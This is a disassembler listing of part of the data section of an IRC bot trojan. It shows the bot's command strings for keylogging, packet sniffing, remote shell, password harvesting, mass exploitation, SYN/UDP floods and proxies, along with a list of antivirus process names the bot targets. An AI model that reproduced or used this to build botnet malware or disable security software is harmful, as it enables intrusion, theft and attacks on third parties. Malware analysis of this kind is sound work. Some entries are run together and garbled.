		align 4
aIrc_m		db 'irc.m',0            ; DATA XREF: sub_40F6F1+24BAo
		align 4
aIrc_mode	db 'irc.mode',0         ; DATA XREF: sub_40F6F1+24A3o
		align 4
aIrc_cy		db 'irc.cy',0           ; DATA XREF: sub_40F6F1+248Co
		align 10h
aIrc_cycle	db 'irc.cycle',0        ; DATA XREF: sub_40F6F1+2475o
		align 4
aIrc_ac		db 'irc.ac',0           ; DATA XREF: sub_40F6F1+245Eo
		align 4
aIrc_action	db 'irc.action',0       ; DATA XREF: sub_40F6F1+2447o
		align 10h
aIrc_pm		db 'irc.pm',0           ; DATA XREF: sub_40F6F1+2430o
		align 4
aIrc_privmsg	db 'irc.privmsg',0      ; DATA XREF: sub_40F6F1+2419o
aIrc_aa		db 'irc.aa',0           ; DATA XREF: sub_40F6F1+2402o
		align 4
aIrc_addalias	db 'irc.addalias',0     ; DATA XREF: sub_40F6F1+23EBo
		align 4
aIrc_gh		db 'irc.gh',0           ; DATA XREF: sub_40F6F1+23C2o
		align 4
aIrc_gethost	db 'irc.gethost',0      ; DATA XREF: sub_40F6F1+23ABo
aCom_cap	db 'com.cap',0          ; DATA XREF: sub_40F6F1+2394o
aCom_capture	db 'com.capture',0      ; DATA XREF: sub_40F6F1+237Do
dword_4371C4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1:loc_411A20o
		dd 2BBBB02h
aCommandUnknown	db '  Command unknown.',0
		align 10h
dword_4371F0	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1:loc_411A19o
		dd 2BBBB02h
aNoMessageSpeci	db '  No message specified.',0
dword_437220	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1:loc_4119D1o
		dd 2BBBB02h
aUserListFailed	db '  User list failed.',0
dword_43724C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+22D9o
		dd 2BBBB02h
aUserListComple	db '  User list completed.',0
		align 4
aUser		db 'user',0             ; DATA XREF: sub_40F6F1+224Co
		align 4
dword_437284	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1:loc_411932o
		dd 2BBBB02h
aShareListFaile	db '  Share list failed.',0
		align 4
dword_4372B4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+2237o
		dd 2BBBB02h
aShareListCompl	db '  Share list completed.',0
aShare		db 'share',0            ; DATA XREF: sub_40F6F1+21CFo
		align 4
aDelete		db 'delete',0           ; DATA XREF: sub_40F6F1+21B4o
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_40F6F1+2181o
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_40F6F1+2169o
		align 4
dword_437304	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1:loc_41184Fo
		dd 2BBBB02h
aServiceListFai	db '  Service list failed.',0
		align 4
dword_437334	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+2154o
		dd 2BBBB02h
aServiceListCom	db '  Service list completed.',0
		align 4
dword_437368	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+20D0o
		dd 2BBBB02h
aFailedToLoadAd	db '  Failed to load advapi32.dll or netapi32.dll.',0
		align 10h
aSys_net	db 'sys.net',0          ; DATA XREF: sub_40F6F1+20ACo
aOffz		db 'offz',0             ; DATA XREF: sub_40F6F1+207Eo
					; sub_40F6F1+2095o
		align 10h
aCmd_kl_on	db 'cmd.kl.on',0        ; DATA XREF: sub_40F6F1+2067o
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_40F6F1+2050o
		align 4
a_n_z_m_Sniff_3	db '.n.z.m. (sniffer.p.l.g) .»». No sniffer thread found.',0
					; DATA XREF: sub_40F6F1:loc_411734o
		align 4
a_n_z_m_Sniff_2	db '.n.z.m. (sniffer.p.l.g) .»».  sniffer stopped. (%d thread(s) stop'
					; DATA XREF: sub_40F6F1+2039o
		db 'ped.)',0
		align 4
a_n_z_m_Sniff_1	db '.n.z.m. (sniffer.p.l.g) .»». Failed to start sniffer thread, erro'
					; DATA XREF: sub_40F6F1+200Bo
		db 'r: <%d>.',0
		align 10h
a_n_z_m_Sniff_0	db '.n.z.m. (sniffer.p.l.g) .»». packet sniffer active.',0
					; DATA XREF: sub_40F6F1+1F9Co
a_n_z_m_Sniffer	db '.n.z.m. (sniffer.p.l.g) .»». Already running.',0
					; DATA XREF: sub_40F6F1+1F3Bo
		align 4
aSniffer	db 'sniffer',0          ; DATA XREF: sub_40F6F1+1F06o
a_n_z_m_Psnif_3	db '.n.z.m. (psniff.p.l.g) .»».  No Carnivore thread found.',0
					; DATA XREF: sub_40F6F1:loc_4115BFo
a_n_z_m_Psnif_2	db '.n.z.m. (psniff.p.l.g) .»».  Carnivore stopped. (%d thread(s) sto'
					; DATA XREF: sub_40F6F1+1EC4o
		db 'pped.)',0
aOff		db 'off',0              ; DATA XREF: sub_40F6F1+1EA5o
					; sub_40F6F1+2016o
a_n_z_m_Psnif_1	db '.n.z.m. (psniff.p.l.g) .»».  Failed to start sniffer thread, erro'
					; DATA XREF: sub_40F6F1+1E9Ao
		db 'r: <%d>.',0
		align 4
a_n_z_m_Psnif_0	db '.n.z.m. (psniff.p.l.g) .»».  Carnivore packet sniffer active.',0
					; DATA XREF: sub_40F6F1+1E2Fo
		align 4
a_n_z_m_Psniff_	db '.n.z.m. (psniff.p.l.g) .»».  Already running.',0
					; DATA XREF: sub_40F6F1+1DCBo
		align 4
aOn		db 'on',0               ; DATA XREF: sub_40F6F1+1DABo
					; sub_40F6F1+1F1Bo
		align 10h
aPsniff		db 'psniff',0           ; DATA XREF: sub_40F6F1+1D96o
		align 4
aCom_rf		db 'com.rf',0           ; DATA XREF: sub_40F6F1+1D7Fo
		align 10h
aCom_readfile	db 'com.readfile',0     ; DATA XREF: sub_40F6F1+1D68o
		align 10h
aCom_cm		db 'com.cm',0           ; DATA XREF: sub_40F6F1+1D51o
		align 4
aCom_cmd	db 'com.cmd',0          ; DATA XREF: sub_40F6F1+1D3Ao
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: sub_40F6F1+1D0Co
					; sub_40F6F1+1D23o
		align 4
aIrc_v		db 'irc.v',0            ; DATA XREF: sub_40F6F1+1CF5o
		align 4
aIrc_visit	db 'irc.visit',0        ; DATA XREF: sub_40F6F1+1CDEo
		align 10h
aCom_fl		db 'com.fl',0           ; DATA XREF: sub_40F6F1+1CC7o
		align 4
aCom_filelist	db 'com.filelist',0     ; DATA XREF: sub_40F6F1+1CB0o
		align 4
aDcc_gt		db 'dcc.gt',0           ; DATA XREF: sub_40F6F1+1C99o
		align 10h
aDcc_get	db 'dcc.get',0          ; DATA XREF: sub_40F6F1+1C82o
aCom_del	db 'com.del',0          ; DATA XREF: sub_40F6F1+1C6Bo
aCom_delete	db 'com.delete',0       ; DATA XREF: sub_40F6F1+1C54o
		align 4
aCom_pkid	db 'com.pkid',0         ; DATA XREF: sub_40F6F1+1C3Do
		align 4
aCom_prockillid	db 'com.prockillid',0   ; DATA XREF: sub_40F6F1+1C26o
		align 4
aCom_kpn	db 'com.kpn',0          ; DATA XREF: sub_40F6F1+1C0Fo
aCom_killprocna	db 'com.killprocname',0 ; DATA XREF: sub_40F6F1+1BF8o
		align 4
aIrc_dn		db 'irc.dn',0           ; DATA XREF: sub_40F6F1+1BE1o
		align 4
aIrc_dns	db 'irc.dns',0          ; DATA XREF: sub_40F6F1+1BCAo
aIrc_se		db 'irc.se',0           ; DATA XREF: sub_40F6F1+1BB3o
		align 4
aIrc_setserve	db 'irc.setserve',0     ; DATA XREF: sub_40F6F1+1B9Co
		align 4
aCom_o		db 'com.o',0            ; DATA XREF: sub_40F6F1+1B85o
		align 4
aCom_open	db 'com.open',0         ; DATA XREF: sub_40F6F1+1B6Eo
		align 10h
aIrc_pr		db 'irc.pr',0           ; DATA XREF: sub_40F6F1+1B57o
		align 4
aIrc_prefix	db 'irc.prefix',0       ; DATA XREF: sub_40F6F1+1B40o
		align 4
aClone_rn	db 'clone.rn',0         ; DATA XREF: sub_40F6F1+1B29o
		align 10h
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: sub_40F6F1+1B12o
		align 10h
aClone_q	db 'clone.q',0          ; DATA XREF: sub_40F6F1+1AFBo
aClone_quit	db 'clone.quit',0       ; DATA XREF: sub_40F6F1+1AE4o
		align 4
aThreads_k	db 'threads.k',0        ; DATA XREF: sub_40F6F1+1ACDo
		align 10h
aThreads_kill	db 'threads.kill',0     ; DATA XREF: sub_40F6F1+1AB6o
		align 10h
aIrc_ra		db 'irc.ra',0           ; DATA XREF: sub_40F6F1+1A9Fo
		align 4
aIrc_raw	db 'irc.raw',0          ; DATA XREF: sub_40F6F1+1A88o
aIrc_pt		db 'irc.pt',0           ; DATA XREF: sub_40F6F1+1A71o
		align 4
aIrc_part	db 'irc.part',0         ; DATA XREF: sub_40F6F1+1A5Ao
		align 4
aIrc_j		db 'irc.j',0            ; DATA XREF: sub_40F6F1+1A43o
		align 4
aIrc_join	db 'irc.join',0         ; DATA XREF: sub_40F6F1+1A2Co
		align 4
aIrc_n		db 'irc.n',0            ; DATA XREF: sub_40F6F1+1A15o
		align 10h
aIrc_nick	db 'irc.nick',0         ; DATA XREF: sub_40F6F1+19FEo
		align 4
aRoot_mass	db 'root.mass',0        ; DATA XREF: sub_40F6F1+19D8o
		align 4
aRoot_massexplo	db 'root.massexploit',0 ; DATA XREF: sub_40F6F1+19C1o
		align 4
aCom_fp		db 'com.fp',0           ; DATA XREF: sub_40F6F1+19AAo
		align 4
aCom_findpass	db 'com.findpass',0     ; DATA XREF: sub_40F6F1+1993o
		align 4
aDaemon_tf_on	db 'daemon.tf.on',0     ; DATA XREF: sub_40F6F1+197Co
		align 4
aDaemon_tftp_on	db 'daemon.tftp.on',0   ; DATA XREF: sub_40F6F1+1965o
		align 4
aDaemon_web_on	db 'daemon.web.on',0    ; DATA XREF: sub_40F6F1+194Eo
		align 4
aDaemon_httpd_o	db 'daemon.httpd.on',0  ; DATA XREF: sub_40F6F1+1937o
aRoot_cip	db 'root.cip',0         ; DATA XREF: sub_40F6F1+1920o
		align 10h
aRoot_currentip	db 'root.currentip',0   ; DATA XREF: sub_40F6F1+1909o
		align 10h
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: sub_40F6F1+18F2o
		align 4
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: sub_40F6F1+18DBo
		align 4
aUtil_farp	db 'util.farp',0        ; DATA XREF: sub_40F6F1+18C4o
		align 4
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: sub_40F6F1+18ADo
		align 4
aCom_gc		db 'com.gc',0           ; DATA XREF: sub_40F6F1+1896o
		align 10h
aCom_getclip	db 'com.getclip',0      ; DATA XREF: sub_40F6F1+187Fo
dword_4378DC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+186Co
		dd 2BBBB02h
aLoginListCompl	db '  Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_40F6F1+1839o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_40F6F1:loc_410F1Do
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_40F6F1+1804o
		align 4
aIrc_who	db 'irc.who',0          ; DATA XREF: sub_40F6F1+17E7o
aCmd		db '[CMD]',0            ; DATA XREF: sub_40F6F1+17DAo
		align 4
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_40F6F1+17D5o
		align 4
aCom_ocmd_off	db 'com.ocmd.off',0     ; DATA XREF: sub_40F6F1+17BCo
		align 4
aCom_ocmd	db 'com.ocmd',0         ; DATA XREF: sub_40F6F1+17A5o
		align 4
aCom_opencmd	db 'com.opencmd',0      ; DATA XREF: sub_40F6F1+178Eo
aCom_dll	db 'com.dll',0          ; DATA XREF: sub_40F6F1+1777o
aCom_testdlls	db 'com.testdlls',0     ; DATA XREF: sub_40F6F1+1760o
		align 4
aCom_drv	db 'com.drv',0          ; DATA XREF: sub_40F6F1+1749o
aCom_driveinfo	db 'com.driveinfo',0    ; DATA XREF: sub_40F6F1+1732o
		align 4
aCom_up		db 'com.up',0           ; DATA XREF: sub_40F6F1+171Bo
		align 4
aCom_uptime	db 'com.uptime',0       ; DATA XREF: sub_40F6F1+1704o
		align 4
aCom_key	db 'com.key',0          ; DATA XREF: sub_40F6F1+16EDo
aCom_harvest	db 'com.harvest',0      ; DATA XREF: sub_40F6F1+16D6o
aCom_ps		db 'com.ps',0           ; DATA XREF: sub_40F6F1+16BFo
		align 4
aCom_procs	db 'com.procs',0        ; DATA XREF: sub_40F6F1+16A8o
		align 10h
aIrc_disco33	db 'irc.disco33',0      ; DATA XREF: sub_40F6F1+1691o
aIrc_discordanc	db 'irc.discordanc33',0 ; DATA XREF: sub_40F6F1+167Ao
		align 10h
aCom_si		db 'com.si',0           ; DATA XREF: sub_40F6F1+1663o
		align 4
aCom_sysinfo	db 'com.sysinfo',0      ; DATA XREF: sub_40F6F1+164Co
unk_437A14	db    2			; DATA XREF: sub_40F6F1+1636o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_26	db ' Failed to start flood thread, error: <%d>.',0
		align 10h
unk_437A60	db    2			; DATA XREF: sub_40F6F1+15BEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSFo_1	db ' Flooding: (%s:%s) for %s seconds.',0
aDdos_supersyn	db 'ddos.supersyn',0    ; DATA XREF: sub_40F6F1+1529o
		align 10h
aCom_ni		db 'com.ni',0           ; DATA XREF: sub_40F6F1+1512o
		align 4
aCom_netinfo	db 'com.netinfo',0      ; DATA XREF: sub_40F6F1+14FBo
aUtil_clg	db 'util.clg',0         ; DATA XREF: sub_40F6F1+14E4o
		align 10h
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: sub_40F6F1+14CDo
		align 10h
aIrc_lg		db 'irc.lg',0           ; DATA XREF: sub_40F6F1+14B6o
		align 4
aIrc_log	db 'irc.log',0          ; DATA XREF: sub_40F6F1+149Fo
aIrc_al		db 'irc.al',0           ; DATA XREF: sub_40F6F1+1488o
		align 4
aIrc_aliases	db 'irc.aliases',0      ; DATA XREF: sub_40F6F1+1471o
aThreads_l	db 'threads.l',0        ; DATA XREF: sub_40F6F1+145Ao
		align 10h
aThreads_list	db 'threads.list',0     ; DATA XREF: sub_40F6F1+1443o
		align 10h
dword_437B20	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+140Fo
		dd 2BBBB02h
aFailedToReboot	db '  Failed to reboot system.',0
		align 4
dword_437B54	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+1408o
		dd 2BBBB02h
aRebootingSyste	db '  Rebooting system.',0
aCom_rebewt	db 'com.rebewt',0       ; DATA XREF: sub_40F6F1+13F1o
		align 4
aIrc_i		db 'irc.i',0            ; DATA XREF: sub_40F6F1+13DAo
		align 4
aIrc_id		db 'irc.id',0           ; DATA XREF: sub_40F6F1+13C3o
		align 4
aIrc_s		db 'irc.s',0            ; DATA XREF: sub_40F6F1+13ACo
		align 4
aIrc_status	db 'irc.status',0       ; DATA XREF: sub_40F6F1+1395o
		align 10h
aIrc_q		db 'irc.q',0            ; DATA XREF: sub_40F6F1+137Eo
		align 4
aIrc_quit	db 'irc.quit',0         ; DATA XREF: sub_40F6F1+1367o
		align 4
aIrc_d		db 'irc.d',0            ; DATA XREF: sub_40F6F1+1350o
		align 4
aIrc_disconnect	db 'irc.disconnect',0   ; DATA XREF: sub_40F6F1+1339o
		align 4
aIrc_r		db 'irc.r',0            ; DATA XREF: sub_40F6F1+1322o
		align 4
aIrc_reconnect	db 'irc.reconnect',0    ; DATA XREF: sub_40F6F1+130Bo
		align 4
aRoot_st	db 'root.st',0          ; DATA XREF: sub_40F6F1+12F4o
aRoot_stats	db 'root.stats',0       ; DATA XREF: sub_40F6F1+12DDo
		align 4
aExploitation	db 'Exploitation',0     ; DATA XREF: sub_40F6F1+12D0o
		align 4
aScan		db 'Scan',0             ; DATA XREF: sub_40F6F1+12CBo
		align 10h
aRoot_stop	db 'root.stop',0        ; DATA XREF: sub_40F6F1+12B2o
		align 4
dword_437C2C	dd 65027302h, 1F727563h, 2E2E1F65h, 0aSecure_0	db 'Secure',0           ; DATA XREF: sub_40F6F1+12A0o
		align 4
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: sub_40F6F1+1287o
		align 4
dword_437C54	dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0aClone		db 'Clone',0            ; DATA XREF: sub_40F6F1+1275o
		align 4
aClone_off	db 'clone.off',0        ; DATA XREF: sub_40F6F1+125Co
		align 4
aCom_ps_off	db 'com.ps.off',0       ; DATA XREF: sub_40F6F1+1245o
		align 4
aCom_procs_off	db 'com.procs.off',0    ; DATA XREF: sub_40F6F1+122Eo
		align 4
aUtil_ff_off	db 'util.ff.off',0      ; DATA XREF: sub_40F6F1+1217o
aUtil_findfile_	db 'util.findfile.off',0 ; DATA XREF: sub_40F6F1+1200o
		align 4
dword_437CB4	dd 66027402h, 641F7074h, 2E2E1FhaDaemon_tftp_of	db 'daemon.tftp.off',0  ; DATA XREF: sub_40F6F1+11D5o
dword_437CD0	dd 69027002h, 1F671F6Eh, 2E2Ehdword_437CDC	dd 676E6950h, 6F6C6620h, 646Fhdword_437CE8	dd 736F6464h, 6E69702Eh, 666F2E67h, 66hdword_437CF8	dd 64027502h, 2E1F701Fh, 2Ehdword_437D04	dd 20504455h, 6F6F6C66h, 64hdword_437D10	dd 736F6464h, 7064752Eh, 66666F2Eh, 0dword_437D20	dd 79027302h, 2E1F6E1Fh, 2Ehdword_437D2C	dd 206E7953h, 6F6F6C66h, 64hdword_437D38	dd 736F6464h, 6E79732Eh, 66666F2Eh, 0dword_437D48	dd 64026402h, 1F731F6Fh, 2E2Ehdword_437D54	dd 536F4444h, 6F6C6620h, 646Fhdword_437D60	dd 736F6464h, 66666F2Eh, 0dword_437D6C	dd 65027202h, 65726964h, 1F741F63h, 2E2Ehdword_437D7C	dd 20504354h, 69646572h, 74636572h, 0aProxy_redirect	db 'proxy.redirect.off',0 ; DATA XREF: sub_40F6F1+10FEo
		align 10h
dword_437DA0	dd 6F026C02h, 2E1F671Fh, 2Ehdword_437DAC	dd 20676F4Ch, 7473696Ch, 0dword_437DB8	dd 2E676F6Ch, 66666Fhdword_437DC0	dd 74026802h, 641F7074h, 2E2E1Fhdword_437DCC	dd 6D656164h, 772E6E6Fh, 6F2E6265h, 6666hdword_437DDC	dd 6F027302h, 1F736B63h, 2E2E1F34h, 0aServer		db 'Server',0           ; DATA XREF: sub_40F6F1+1087o
					; sub_40F6F1+10C7o ...
		align 4
aProxy_socks4_0	db 'proxy.socks4.off',0 ; DATA XREF: sub_40F6F1+106Eo
		align 4
aProxy_s4_on	db 'proxy.s4.on',0      ; DATA XREF: sub_40F6F1+1057o
aProxy_socks4_o	db 'proxy.socks4.on',0  ; DATA XREF: sub_40F6F1+1040o
aLd_off		db 'ld.off',0           ; DATA XREF: sub_40F6F1+1029o
		align 4
aLockdown_off	db 'lockdown.off',0     ; DATA XREF: sub_40F6F1+1012o
		align 4
aLd_on		db 'ld.on',0            ; DATA XREF: sub_40F6F1+FFBo
		align 4
aLockdown_on	db 'lockdown.on',0      ; DATA XREF: sub_40F6F1+FE4o
aVer		db 'ver',0              ; DATA XREF: sub_40F6F1+FCDo
aIrc_version	db 'irc.version',0      ; DATA XREF: sub_40F6F1+FB6o
aLo		db 'lo',0               ; DATA XREF: sub_40F6F1+F9Fo
		align 4
aIrc_logout	db 'irc.logout',0       ; DATA XREF: sub_40F6F1+F88o
		align 10h
aIrc_di		db 'irc.di',0           ; DATA XREF: sub_40F6F1+F71o
		align 4
aIrc_die	db 'irc.die',0          ; DATA XREF: sub_40F6F1+F5Ao
aRn		db 'rn',0               ; DATA XREF: sub_40F6F1+F43o
		align 4
aIrc_rndnick	db 'irc.rndnick',0      ; DATA XREF: sub_40F6F1+F29o
a63		db '63',0               ; DATA XREF: sub_40F6F1+DF4o
		align 4
asc_437E94:				; DATA XREF: sub_40F6F1+DCCo
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_40F6F1+D8Co
					; sub_40F6F1+DA4o ...
		align 10h
aServer_1	db '$server',0          ; DATA XREF: sub_40F6F1+D7Fo
aRndnick	db '$rndnick',0         ; DATA XREF: sub_40F6F1+D6Co
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_40F6F1+D4Do
		align 4
aUser_3		db '$user',0            ; DATA XREF: sub_40F6F1+D3Ao
		align 4
aMe_0		db '$me',0              ; DATA XREF: sub_40F6F1+D26o
aD		db '$%d',0              ; DATA XREF: sub_40F6F1+CB8o
aD_0		db '$%d-',0             ; DATA XREF: sub_40F6F1+BFDo
		align 4
aIrc_act	db 'irc.act',0          ; DATA XREF: sub_40F6F1+B25o
aIrc_activate	db 'irc.activate',0     ; DATA XREF: sub_40F6F1+B0Do
		align 4
dword_437EEC	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+AEAo
		dd 2BBBB02h
aChatFailedByUn	db '  Chat failed by unauthorized user: %s.',0
dword_437F2C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+AD9o
		dd 2BBBB02h
aChatAlreadyAct	db '  Chat already active with user: %s.',0
		align 4
dword_437F6C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+AC8o
		dd 2BBBB02h
aFailedToSta_27	db '  Failed to start chat thread, error: <%d>.',0
dword_437FB0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+A59o
		dd 2BBBB02h
aChatFromUserS_	db '  Chat from user: %s.',0
		align 10h
aChat		db 'CHAT',0             ; DATA XREF: sub_40F6F1+9C2o
		align 4
dword_437FE8	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+9A5o
		dd 2BBBB02h
aReceiveFileSFa	db '  Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_438038	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+97Bo
					; sub_40F6F1+4D3Bo
		dd 2BBBB02h
aFailedToSta_28	db '  Failed to start transfer thread, error: <%d>.',0
dword_438080	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_40F6F1+96Ao
		dd 0A0Dh
dword_438098	dd 4E495001h, 47haSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: sub_40F6F1+8F0o
		align 4
dword_4380BC	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_40F6F1+8D6o
		dd 0D017325h, 0Ah
dword_4380D8	dd 52455601h, 4E4F4953h, 1dword_4380E4	dd 23h		dword_4380E8	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+78Bo
		dd 2BBBB02h
aReceiveFileSFr	db '  Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0		db 'SEND',0             ; DATA XREF: sub_40F6F1+6E8o
		align 4
dword_43812C	dd 43434401h, 0	dword_438134	dd 323333h						; sub_40F6F1+B47o ...
dword_438138	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5D2o
		dd 2BBBB02h
aUserSLoggedOut	db '  User: %s logged out.',0
		align 4
dword_438168	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5ABo
		dd 2BBBB02h
aJoinedChanne_0	db '  Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_40F6F1+574o
aPart		db 'PART',0             ; DATA XREF: sub_40F6F1+526o
					; sub_40F6F1+5EFo
		align 4
aSS_0		db ':%s%s',0            ; DATA XREF: sub_40F6F1+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_40F6F1+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40F6F1+371o
					; sub_40F6F1+613o
dword_4381C4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+358o
					; sub_40F6F1+615Eo ...
		dd 2BBBB02h
aUserSLoggedO_0	db '  User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: sub_40F6F1+2E7o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_40F6F1+290o
					; sub_40F6F1+5135o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_40F6F1+265o
a@:					; DATA XREF: sub_40F6F1+23Ao
		unicode	0, <@>,0
a302_0		db '302',0              ; DATA XREF: sub_40F6F1+22Ao
a005		db '005',0              ; DATA XREF: sub_40F6F1+215o
a001		db '001',0              ; DATA XREF: sub_40F6F1+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40F6F1+1E4o
					; sub_40F6F1+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_40F6F1+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_40F6F1+1A9o
		align 10h
asc_438240:				; DATA XREF: sub_40F6F1+19Ao
					; sub_40F6F1+628Bo
		unicode	0, <!>,0
asc_438244	db ' :',0               ; DATA XREF: sub_40F6F1+86o
					; sub_40F6F1:loc_410290o
		align 4
		dd 7530h
off_43824C	dd offset aAckwin32_exe	; DATA XREF: sub_415B93+CBo
					; "ACKWIN32.EXE"
		dd offset aAdaware_exe	; "ADAWARE.EXE"
		dd offset aAdvxdwin_exe	; "ADVXDWIN.EXE"
		dd offset aAgentsvr_exe	; "AGENTSVR.EXE"
		dd offset aAgentw_exe	; "AGENTW.EXE"
		dd offset aAlertsvc_exe	; "ALERTSVC.EXE"
		dd offset aAlevir_exe	; "ALEVIR.EXE"
		dd offset aAlogserv_exe	; "ALOGSERV.EXE"
		dd offset aAmon9x_exe	; "AMON9X.EXE"
		dd offset aAntiTrojan_exe ; "ANTI-TROJAN.EXE"
		dd offset aAntivirus_exe ; "ANTIVIRUS.EXE"
		dd offset aAnts_exe	; "ANTS.EXE"
		dd offset aApimonitor_exe ; "APIMONITOR.EXE"
		dd offset aAplica32_exe	; "APLICA32.EXE"
		dd offset aApvxdwin_exe	; "APVXDWIN.EXE"
		dd offset aArr_exe	; "ARR.EXE"
		dd offset aAtcon_exe	; "ATCON.EXE"
		dd offset aAtguard_exe	; "ATGUARD.EXE"
		dd offset aAtro55en_exe	; "ATRO55EN.EXE"
		dd offset aAtupdater_exe ; "ATUPDATER.EXE"
		dd offset aAtupdater_exe ; "ATUPDATER.EXE"
		dd offset aAtwatch_exe	; "ATWATCH.EXE"
		dd offset aAu_exe	; "AU.EXE"
		dd offset aAupdate_exe	; "AUPDATE.EXE"
		dd offset aAupdate_exe	; "AUPDATE.EXE"
		dd offset aAutodown_exe	; "AUTODOWN.EXE"
		dd offset aAutodown_exe	; "AUTODOWN.EXE"
		dd offset aAutotrace_exe ; "AUTOTRACE.EXE"
		dd offset aAutotrace_exe ; "AUTOTRACE.EXE"
		dd offset aAutoupdate_exe ; "AUTOUPDATE.EXE"
		dd offset aAutoupdate_exe ; "AUTOUPDATE.EXE"
		dd offset aAvconsol_exe	; "AVCONSOL.EXE"
		dd offset aAve32_exe	; "AVE32.EXE"
		dd offset aAvgcc32_exe	; "AVGCC32.EXE"
		dd offset aAvgctrl_exe	; "AVGCTRL.EXE"
		dd offset aAvgnt_exe	; "AVGNT.EXE"
		dd offset aAvgserv_exe	; "AVGSERV.EXE"
		dd offset aAvgserv9_exe	; "AVGSERV9.EXE"
		dd offset aAvguard_exe	; "AVGUARD.EXE"
		dd offset aAvgw_exe	; "AVGW.EXE"
		dd offset aAvkpop_exe	; "AVKPOP.EXE"
		dd offset aAvkserv_exe	; "AVKSERV.EXE"
		dd offset aAvkservice_exe ; "AVKSERVICE.EXE"
		dd offset aAvkwctl9_exe	; "AVKWCTl9.EXE"
		dd offset aAvltmain_exe	; "AVLTMAIN.EXE"
